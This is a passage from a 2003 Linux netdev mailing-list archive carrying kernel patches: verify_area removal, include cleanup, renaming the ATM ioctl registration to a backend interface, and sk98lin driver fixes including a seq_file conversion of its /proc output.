hermes@gibson.dropbear.id.au, jgarzik@pobox.com Subject: [PATRCH] janitor: hermes: delete verify_area call Message-Id: <20030925215902.57f53822.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 947 Lines: 34 Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Domen Puncer IMO, that verify_area wasn't needed. linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c | 4 ---- 1 files changed, 4 deletions(-) diff -puN drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify drivers/net/wireless/orinoco.c --- linux-260-t5bk12-kj/drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify 2003-09-25 16:03:17.000000000 -0700 +++ linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c 2003-09-25 16:03:17.000000000 -0700 @@ -3833,10 +3833,6 @@ orinoco_ioctl(struct net_device *dev, st { SIOCIWLASTPRIV, 0, 0, "dump_recs" }, }; - err = verify_area(VERIFY_WRITE, wrq->u.data.pointer, sizeof(privtab)); - if (err) - break; - wrq->u.data.length = sizeof(privtab) / sizeof(privtab[0]); if (copy_to_user(wrq->u.data.pointer, privtab, sizeof(privtab))) err = -EFAULT; _ From rddunlap@osdl.org Thu Sep 25 22:32:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:33:04 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5WwFx006020 for ; Thu, 25 Sep 2003 22:32:58 -0700 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q5Wo115524; Thu, 25 Sep 2003 22:32:50 -0700 Date: Thu, 25 Sep 2003 22:18:57 -0700 From: "Randy.Dunlap" To: jgarzik@pobox.com, scott.feldman@intel.com Cc: netdev@oss.sgi.com Subject: [PATCH] janitor: e100: cleanup #includes Message-Id: <20030925221857.58a61c4b.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 760 Lines: 32 Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Randy Hron Remove unneeded include of version.h. Test compiled against 2.6.0-test5-bk9. linux-260-t5bk12-kj-rddunlap/drivers/net/e100/e100.h | 1 - 1 files changed, 1 deletion(-) diff -puN drivers/net/e100/e100.h~net_e100_includes drivers/net/e100/e100.h --- linux-260-t5bk12-kj/drivers/net/e100/e100.h~net_e100_includes 2003-09-25 16:26:00.000000000 -0700 +++ linux-260-t5bk12-kj-rddunlap/drivers/net/e100/e100.h 2003-09-25 16:26:00.000000000 -0700 @@ -43,7 +43,6 @@ #include #include #include -#include #include #include #include _ From davem@pizda.ninka.net Thu Sep 25 23:16:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 23:16:22 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q6G6Fx009704 for ; Thu, 25 Sep 2003 23:16:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA17360; Thu, 25 Sep 2003 23:02:35 -0700 Date: Thu, 25 Sep 2003 23:02:35 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, maxk@qualcomm.com Subject: Re: [PATCH] janitor: bluetooth: remove unneeded verify_area call Message-Id: <20030925230235.5bcd7496.davem@redhat.com> In-Reply-To: <20030925215637.42631e42.rddunlap@osdl.org> References: <20030925215637.42631e42.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 221 Lines: 7 On Thu, 25 Sep 2003 21:56:37 -0700 "Randy.Dunlap" wrote: > linux-260-t5bk12-kj-rddunlap/net/bluetooth/hci_core.c | 8 ++++---- > 1 files changed, 4 insertions(+), 4 deletions(-) Applied, thanks. From chas@cmf.nrl.navy.mil Fri Sep 26 06:48:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 06:48:42 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QDmFFx030206 for ; Fri, 26 Sep 2003 06:48:36 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8QDm2kT022888; Fri, 26 Sep 2003 09:48:05 -0400 (EDT) Message-Id: <200309261348.h8QDm2kT022888@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: Mitchell Blank Jr , levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) In-Reply-To: Message from "David S. Miller" of "Thu, 25 Sep 2003 20:55:30 PDT." <20030925205530.2a166ccc.davem@redhat.com> Date: Fri, 26 Sep 2003 09:48:03 -0400 From: chas williams X-Spam-Score: () hits=-2.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 8334 Lines: 304 In message <20030925205530.2a166ccc.davem@redhat.com>,"David S. Miller" writes: >What I'm going to do is just merge in all of what Chas posted >today, you can send me new patches to update this to John's >latest code. that seems very reasonable. i believe the following attached patch will provide the initial backend interface that mitch's patchset depends on (its really just name changes). mitch, perhaps you could just submit this as patch 0/N when you are ready to submit your atm_backend changes. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1458 -> 1.1459 # net/atm/br2684.c 1.12 -> 1.13 # net/atm/lec.c 1.41 -> 1.42 # net/atm/ioctl.c 1.7 -> 1.8 # drivers/atm/atmtcp.c 1.20 -> 1.21 # net/atm/pppoatm.c 1.15 -> 1.16 # net/atm/mpc.c 1.29 -> 1.30 # include/linux/atmdev.h 1.32 -> 1.33 # net/atm/clip.c 1.29 -> 1.30 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/26 chas@relax.cmf.nrl.navy.mil 1.1459 # [ATM]: initial backend support (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/drivers/atm/atmtcp.c b/drivers/atm/atmtcp.c --- a/drivers/atm/atmtcp.c Fri Sep 26 09:43:45 2003 +++ b/drivers/atm/atmtcp.c Fri Sep 26 09:43:45 2003 @@ -460,21 +460,21 @@ return err; } -static struct atm_ioctl atmtcp_ioctl_ops = { +static struct atm_backend atmtcp_ops = { .owner = THIS_MODULE, .ioctl = atmtcp_ioctl, }; static __init int atmtcp_init(void) { - register_atm_ioctl(&atmtcp_ioctl_ops); + register_atm_backend(&atmtcp_ops); return 0; } static void __exit atmtcp_exit(void) { - deregister_atm_ioctl(&atmtcp_ioctl_ops); + deregister_atm_backend(&atmtcp_ops); } MODULE_LICENSE("GPL"); diff -Nru a/include/linux/atmdev.h b/include/linux/atmdev.h --- a/include/linux/atmdev.h Fri Sep 26 09:43:45 2003 +++ b/include/linux/atmdev.h Fri Sep 26 09:43:45 2003 @@ -448,7 +448,7 @@ void vcc_release_async(struct atm_vcc *vcc, int reply); -struct atm_ioctl { +struct atm_backend { struct module *owner; /* A module reference is kept if appropriate over this call. * Return -ENOIOCTLCMD if you don't handle it. */ @@ -457,18 +457,14 @@ }; /** - * register_atm_ioctl - register handler for ioctl operations - * - * Special (non-device) handlers of ioctl's should - * register here. If you're a normal device, you should - * set .ioctl in your atmdev_ops instead. + * register_atm_backend - register an ATM backend */ -void register_atm_ioctl(struct atm_ioctl *); +void register_atm_backend(struct atm_backend *); /** - * deregister_atm_ioctl - remove the ioctl handler + * deregister_atm_backend - remove a backend */ -void deregister_atm_ioctl(struct atm_ioctl *); +void deregister_atm_backend(struct atm_backend *); #endif /* __KERNEL__ */ diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/br2684.c Fri Sep 26 09:43:45 2003 @@ -669,7 +669,7 @@ return -ENOIOCTLCMD; } -static struct atm_ioctl br2684_ioctl_ops = { +static struct atm_backend br2684_ops = { .owner = THIS_MODULE, .ioctl = br2684_ioctl, }; @@ -782,7 +782,7 @@ return -ENOMEM; p->proc_fops = &br2684_proc_ops; #endif - register_atm_ioctl(&br2684_ioctl_ops); + register_atm_backend(&br2684_ops); return 0; } @@ -791,7 +791,7 @@ struct net_device *net_dev; struct br2684_dev *brdev; struct br2684_vcc *brvcc; - deregister_atm_ioctl(&br2684_ioctl_ops); + deregister_atm_backend(&br2684_ops); #ifdef CONFIG_PROC_FS remove_proc_entry("br2684", atm_proc_root); diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/clip.c Fri Sep 26 09:43:45 2003 @@ -804,7 +804,7 @@ return err; } -static struct atm_ioctl clip_ioctl_ops = { +static struct atm_backend clip_ops = { .owner = THIS_MODULE, .ioctl = clip_ioctl, }; @@ -1035,7 +1035,7 @@ skb_queue_head_init(&clip_tbl.proxy_queue); clip_tbl_hook = &clip_tbl; - register_atm_ioctl(&clip_ioctl_ops); + register_atm_backend(&clip_ops); return 0; } @@ -1046,7 +1046,7 @@ remove_proc_entry("arp", atm_proc_root); - deregister_atm_ioctl(&clip_ioctl_ops); + deregister_atm_backend(&clip_ops); neigh_ifdown(&clip_tbl, NULL); dev = clip_devs; diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/ioctl.c Fri Sep 26 09:43:45 2003 @@ -23,26 +23,26 @@ #include "signaling.h" /* for WAITING and sigd_attach */ -static DECLARE_MUTEX(ioctl_mutex); -static LIST_HEAD(ioctl_list); +static DECLARE_MUTEX(backend_mutex); +static LIST_HEAD(backend_list); -void register_atm_ioctl(struct atm_ioctl *ioctl) +void register_atm_backend(struct atm_backend *backend) { - down(&ioctl_mutex); - list_add_tail(&ioctl->list, &ioctl_list); - up(&ioctl_mutex); + down(&backend_mutex); + list_add_tail(&backend->list, &backend_list); + up(&backend_mutex); } -void deregister_atm_ioctl(struct atm_ioctl *ioctl) +void deregister_atm_backend(struct atm_backend *backend) { - down(&ioctl_mutex); - list_del(&ioctl->list); - up(&ioctl_mutex); + down(&backend_mutex); + list_del(&backend->list); + up(&backend_mutex); } -EXPORT_SYMBOL(register_atm_ioctl); -EXPORT_SYMBOL(deregister_atm_ioctl); +EXPORT_SYMBOL(register_atm_backend); +EXPORT_SYMBOL(deregister_atm_backend); int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { @@ -120,9 +120,9 @@ error = -ENOIOCTLCMD; - down(&ioctl_mutex); - list_for_each(pos, &ioctl_list) { - struct atm_ioctl * ic = list_entry(pos, struct atm_ioctl, list); + down(&backend_mutex); + list_for_each(pos, &backend_list) { + struct atm_backend * ic = list_entry(pos, struct atm_backend, list); if (try_module_get(ic->owner)) { error = ic->ioctl(sock, cmd, arg); module_put(ic->owner); @@ -130,7 +130,7 @@ break; } } - up(&ioctl_mutex); + up(&backend_mutex); if (error != -ENOIOCTLCMD) goto done; diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/lec.c Fri Sep 26 09:43:45 2003 @@ -1115,7 +1115,7 @@ return err; } -static struct atm_ioctl lane_ioctl_ops = { +static struct atm_backend lec_ops = { .owner = THIS_MODULE, .ioctl = lane_ioctl, }; @@ -1130,7 +1130,7 @@ p->proc_fops = &lec_seq_fops; #endif - register_atm_ioctl(&lane_ioctl_ops); + register_atm_backend(&lec_ops); printk("lec.c: " __DATE__ " " __TIME__ " initialized\n"); return 0; } @@ -1142,7 +1142,7 @@ remove_proc_entry("lec", atm_proc_root); - deregister_atm_ioctl(&lane_ioctl_ops); + deregister_atm_backend(&lec_ops); for (i = 0; i < MAX_LEC_ITF; i++) { if (dev_lec[i] != NULL) { diff -Nru a/net/atm/mpc.c b/net/atm/mpc.c --- a/net/atm/mpc.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/mpc.c Fri Sep 26 09:43:45 2003 @@ -1388,14 +1388,14 @@ } -static struct atm_ioctl atm_ioctl_ops = { +static struct atm_backend mpoa_ops = { .owner = THIS_MODULE, .ioctl = atm_mpoa_ioctl, }; static __init int atm_mpoa_init(void) { - register_atm_ioctl(&atm_ioctl_ops); + register_atm_backend(&mpoa_ops); #ifdef CONFIG_PROC_FS if (mpc_proc_init() != 0) @@ -1421,7 +1421,7 @@ del_timer(&mpc_timer); unregister_netdevice_notifier(&mpoa_notifier); - deregister_atm_ioctl(&atm_ioctl_ops); + deregister_atm_backend(&mpoa_ops); mpc = mpcs; mpcs = NULL; diff -Nru a/net/atm/pppoatm.c b/net/atm/pppoatm.c --- a/net/atm/pppoatm.c Fri Sep 26 09:43:45 2003 +++ b/net/atm/pppoatm.c Fri Sep 26 09:43:45 2003 @@ -343,20 +343,20 @@ return -ENOIOCTLCMD; } -struct atm_ioctl pppoatm_ioctl_ops = { +static struct atm_backend pppoatm_backend_ops = { .owner = THIS_MODULE, .ioctl = pppoatm_ioctl, }; static int __init pppoatm_init(void) { - register_atm_ioctl(&pppoatm_ioctl_ops); + register_atm_backend(&pppoatm_backend_ops); return 0; } static void __exit pppoatm_exit(void) { - deregister_atm_ioctl(&pppoatm_ioctl_ops); + deregister_atm_backend(&pppoatm_backend_ops); } module_init(pppoatm_init); From davem@pizda.ninka.net Fri Sep 26 07:19:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 07:19:29 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QEJLFx001438 for ; Fri, 26 Sep 2003 07:19:21 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA19918; Fri, 26 Sep 2003 07:05:50 -0700 Date: Fri, 26 Sep 2003 07:05:50 -0700 From: "David S. Miller" To: chas williams Cc: mitch@sfgoth.com, levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) Message-Id: <20030926070550.3707e3f2.davem@redhat.com> In-Reply-To: <200309261348.h8QDm2kT022888@ginger.cmf.nrl.navy.mil> References: <20030925205530.2a166ccc.davem@redhat.com> <200309261348.h8QDm2kT022888@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 503 Lines: 12 On Fri, 26 Sep 2003 09:48:03 -0400 chas williams wrote: > that seems very reasonable. i believe the following attached patch > will provide the initial backend interface that mitch's patchset > depends on (its really just name changes). mitch, perhaps you could > just submit this as patch 0/N when you are ready to submit your > atm_backend changes. Wait a bit for Linus to suck in the stuff I applied last night, then you guys can unload the next set of patches on me. :) From shemminger@osdl.org Fri Sep 26 11:18:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 11:18:31 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QIIMFx007359 for ; Fri, 26 Sep 2003 11:18:23 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8QIIC121859; Fri, 26 Sep 2003 11:18:13 -0700 Date: Fri, 26 Sep 2003 11:17:47 -0700 From: Stephen Hemminger To: Mirko Lindner Cc: Jeff Garzik , Ralph Roesler , netdev@oss.sgi.com Subject: [PATCH] (1/3) sk98lin -- build on smp fix Message-Id: <20030926111747.27199054.shemminger@osdl.org> In-Reply-To: <1220606764.18887.129.camel@mlindner-lin> References: <20030904160658.5ae22c0d.shemminger@osdl.org> <1220606764.18887.129.camel@mlindner-lin> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 696 Lines: 22 There is no exported variable called smp_num_cpus! so this driver won't build on SMP. Since the local variable is never used anyway just get rid of it. This applies against 2.6.0-test5-bk13 which has the last vendor driver update. diff -Nru a/drivers/net/sk98lin/skdim.c b/drivers/net/sk98lin/skdim.c --- a/drivers/net/sk98lin/skdim.c Fri Sep 26 11:01:04 2003 +++ b/drivers/net/sk98lin/skdim.c Fri Sep 26 11:01:04 2003 @@ -318,11 +318,6 @@ unsigned int TotalTime = 0; unsigned int UsedTime = 0; unsigned int SystemLoad = 0; -#ifdef CONFIG_SMP - unsigned int SKNumCpus = smp_num_cpus; -#else - unsigned int SKNumCpus = 1; -#endif /* unsigned int NbrCpu = 0; */ From shemminger@osdl.org Fri Sep 26 11:18:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 11:18:41 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QIIXFx007375 for ; Fri, 26 Sep 2003 11:18:33 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8QIIN121868; Fri, 26 Sep 2003 11:18:23 -0700 Date: Fri, 26 Sep 2003 11:17:57 -0700 From: Stephen Hemminger To: Mirko Lindner Cc: Jeff Garzik , Ralph Roesler , netdev@oss.sgi.com Subject: [PATCH] (3/3) sk98lin -- use seq_file for /proc Message-Id: <20030926111757.5a7e1109.shemminger@osdl.org> In-Reply-To: <1220606764.18887.129.camel@mlindner-lin> References: <20030904160658.5ae22c0d.shemminger@osdl.org> <1220606764.18887.129.camel@mlindner-lin> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 17944 Lines: 557 Replace proc_read with seq_file interface which is much cleaner. Also, instead of searching the list of devices looking for the name which is slow and would break if interface name changes; store a pointer to device in the proc entry, and retrieve it from the information saved by single_open. Formatting and other behaviours are retained. diff -Nru a/drivers/net/sk98lin/skge.c b/drivers/net/sk98lin/skge.c --- a/drivers/net/sk98lin/skge.c Fri Sep 26 11:10:48 2003 +++ b/drivers/net/sk98lin/skge.c Fri Sep 26 11:10:48 2003 @@ -577,13 +577,7 @@ #ifdef CONFIG_PROC_FS static const char SK_Root_Dir_entry[] = "sk98lin"; static struct proc_dir_entry *pSkRootDir; - -extern int sk_proc_read( char *buffer, - char **buffer_location, - off_t offset, - int buffer_length, - int *eof, - void *data); +extern struct file_operations sk_proc_fops; #endif extern void SkDimEnableModerationIfNeeded(SK_AC *pAC); @@ -762,16 +756,11 @@ } /* Create proc file */ - if (pSkRootDir && - (pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, - pSkRootDir))) { - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; + if (pSkRootDir + && (pProcFile = create_proc_entry(dev->name, S_IRUGO, + pSkRootDir))) { + pProcFile->proc_fops = &sk_proc_fops; + pProcFile->data = dev; } #endif @@ -827,16 +816,11 @@ #ifdef CONFIG_PROC_FS if (pSkRootDir - && (pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, + && (pProcFile = create_proc_entry(dev->name, + S_IRUGO, pSkRootDir))) { - - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; + pProcFile->proc_fops = &sk_proc_fops; + pProcFile->data = dev; } #endif diff -Nru a/drivers/net/sk98lin/skproc.c b/drivers/net/sk98lin/skproc.c --- a/drivers/net/sk98lin/skproc.c Fri Sep 26 11:10:48 2003 +++ b/drivers/net/sk98lin/skproc.c Fri Sep 26 11:10:48 2003 @@ -90,276 +90,227 @@ ******************************************************************************/ #include +#include #include "h/skdrv1st.h" #include "h/skdrv2nd.h" - extern struct net_device *SkGeRootDev; +#ifdef CONFIG_PROC_FS +extern struct net_device *SkGeRootDev; -int sk_proc_read(char *buffer, - char **buffer_location, - off_t offset, - int buffer_length, - int *eof, - void *data); - - - -/***************************************************************************** - * - * sk_proc_read - print "summaries" entry - * - * Description: - * This function fills the proc entry with statistic data about - * the ethernet device. - * - * - * Returns: buffer with statistic data - * - */ -int sk_proc_read(char *buffer, -char **buffer_location, -off_t offset, -int buffer_length, -int *eof, -void *data) +static int sk_seq_show(struct seq_file *seq, void *v) { - int len = 0; - int t; + struct net_device *dev = seq->private; + DEV_NET *pNet = dev->priv; + SK_AC *pAC = pNet->pAC; + SK_PNMI_STRUCT_DATA *pPnmiStruct = &pAC->PnmiStruct; + SK_PNMI_STAT *pPnmiStat = &pPnmiStruct->Stat[0]; + int unit = !(pAC->dev[0] == dev); int i; - DEV_NET *pNet; - SK_AC *pAC; - char sens_msg[50]; - unsigned long Flags; - unsigned int Size; - struct SK_NET_DEVICE *next; - struct SK_NET_DEVICE *SkgeProcDev = SkGeRootDev; - - SK_PNMI_STRUCT_DATA *pPnmiStruct; - SK_PNMI_STAT *pPnmiStat; - struct proc_dir_entry *file = (struct proc_dir_entry*) data; - - while (SkgeProcDev) { - pNet = (DEV_NET*) SkgeProcDev->priv; - pAC = pNet->pAC; - next = pAC->Next; - pPnmiStruct = &pAC->PnmiStruct; - /* NetIndex in GetStruct is now required, zero is only dummy */ - - for (t=pAC->GIni.GIMacsFound; t > 0; t--) { - if ((pAC->GIni.GIMacsFound == 2) && pAC->RlmtNets == 1) - t--; - - spin_lock_irqsave(&pAC->SlowPathLock, Flags); - Size = SK_PNMI_STRUCT_SIZE; - SkPnmiGetStruct(pAC, pAC->IoBase, - pPnmiStruct, &Size, t-1); - spin_unlock_irqrestore(&pAC->SlowPathLock, Flags); - - if (strcmp(pAC->dev[t-1]->name, file->name) == 0) { - pPnmiStat = &pPnmiStruct->Stat[0]; - len = sprintf(buffer, - "\nDetailed statistic for device %s\n", - pAC->dev[t-1]->name); - len += sprintf(buffer + len, - "=======================================\n"); + char sens_msg[50]; + + seq_printf(seq, + "\nDetailed statistic for device %s\n", + dev->name); + seq_printf(seq, + "=======================================\n"); - /* Board statistics */ - len += sprintf(buffer + len, - "\nBoard statistics\n\n"); - len += sprintf(buffer + len, - "Active Port %c\n", - 'A' + pAC->Rlmt.Net[t-1].Port[pAC->Rlmt. - Net[t-1].PrefPort]->PortNumber); - len += sprintf(buffer + len, - "Preferred Port %c\n", - 'A' + pAC->Rlmt.Net[t-1].Port[pAC->Rlmt. - Net[t-1].PrefPort]->PortNumber); - - len += sprintf(buffer + len, - "Bus speed (MHz) %d\n", - pPnmiStruct->BusSpeed); - - len += sprintf(buffer + len, - "Bus width (Bit) %d\n", - pPnmiStruct->BusWidth); - len += sprintf(buffer + len, - "Hardware revision v%d.%d\n", - (pAC->GIni.GIPciHwRev >> 4) & 0x0F, - pAC->GIni.GIPciHwRev & 0x0F); - - /* Print sensor informations */ - for (i=0; i < pAC->I2c.MaxSens; i ++) { - /* Check type */ - switch (pAC->I2c.SenTable[i].SenType) { - case 1: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (C)"); - len += sprintf(buffer + len, - "%-25s %d.%02d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue / 10, - pAC->I2c.SenTable[i].SenValue % 10); - - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (F)"); - len += sprintf(buffer + len, - "%-25s %d.%02d\n", - sens_msg, - ((((pAC->I2c.SenTable[i].SenValue) - *10)*9)/5 + 3200)/100, - ((((pAC->I2c.SenTable[i].SenValue) - *10)*9)/5 + 3200) % 10); - break; - case 2: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (V)"); - len += sprintf(buffer + len, - "%-25s %d.%03d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue / 1000, - pAC->I2c.SenTable[i].SenValue % 1000); - break; - case 3: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (rpm)"); - len += sprintf(buffer + len, - "%-25s %d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue); - break; - default: - break; - } - } + /* Board statistics */ + seq_printf(seq, + "\nBoard statistics\n\n"); + seq_printf(seq, + "Active Port %c\n", + 'A' + pAC->Rlmt.Net[unit].Port[pAC->Rlmt. + Net[unit].PrefPort]->PortNumber); + seq_printf(seq, + "Preferred Port %c\n", + 'A' + pAC->Rlmt.Net[unit].Port[pAC->Rlmt. + Net[unit].PrefPort]->PortNumber); + + seq_printf(seq, + "Bus speed (MHz) %d\n", + pPnmiStruct->BusSpeed); + + seq_printf(seq, + "Bus width (Bit) %d\n", + pPnmiStruct->BusWidth); + seq_printf(seq, + "Hardware revision v%d.%d\n", + (pAC->GIni.GIPciHwRev >> 4) & 0x0F, + pAC->GIni.GIPciHwRev & 0x0F); + + /* Print sensor informations */ + for (i=0; i < pAC->I2c.MaxSens; i ++) { + /* Check type */ + switch (pAC->I2c.SenTable[i].SenType) { + case 1: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (C)"); + seq_printf(seq, + "%-25s %d.%02d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue / 10, + pAC->I2c.SenTable[i].SenValue % 10); + + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (F)"); + seq_printf(seq, + "%-25s %d.%02d\n", + sens_msg, + ((((pAC->I2c.SenTable[i].SenValue) + *10)*9)/5 + 3200)/100, + ((((pAC->I2c.SenTable[i].SenValue) + *10)*9)/5 + 3200) % 10); + break; + case 2: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (V)"); + seq_printf(seq, + "%-25s %d.%03d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue / 1000, + pAC->I2c.SenTable[i].SenValue % 1000); + break; + case 3: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (rpm)"); + seq_printf(seq, + "%-25s %d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue); + break; + default: + break; + } + } - /*Receive statistics */ - len += sprintf(buffer + len, - "\nReceive statistics\n\n"); - - len += sprintf(buffer + len, - "Received bytes %Ld\n", - (unsigned long 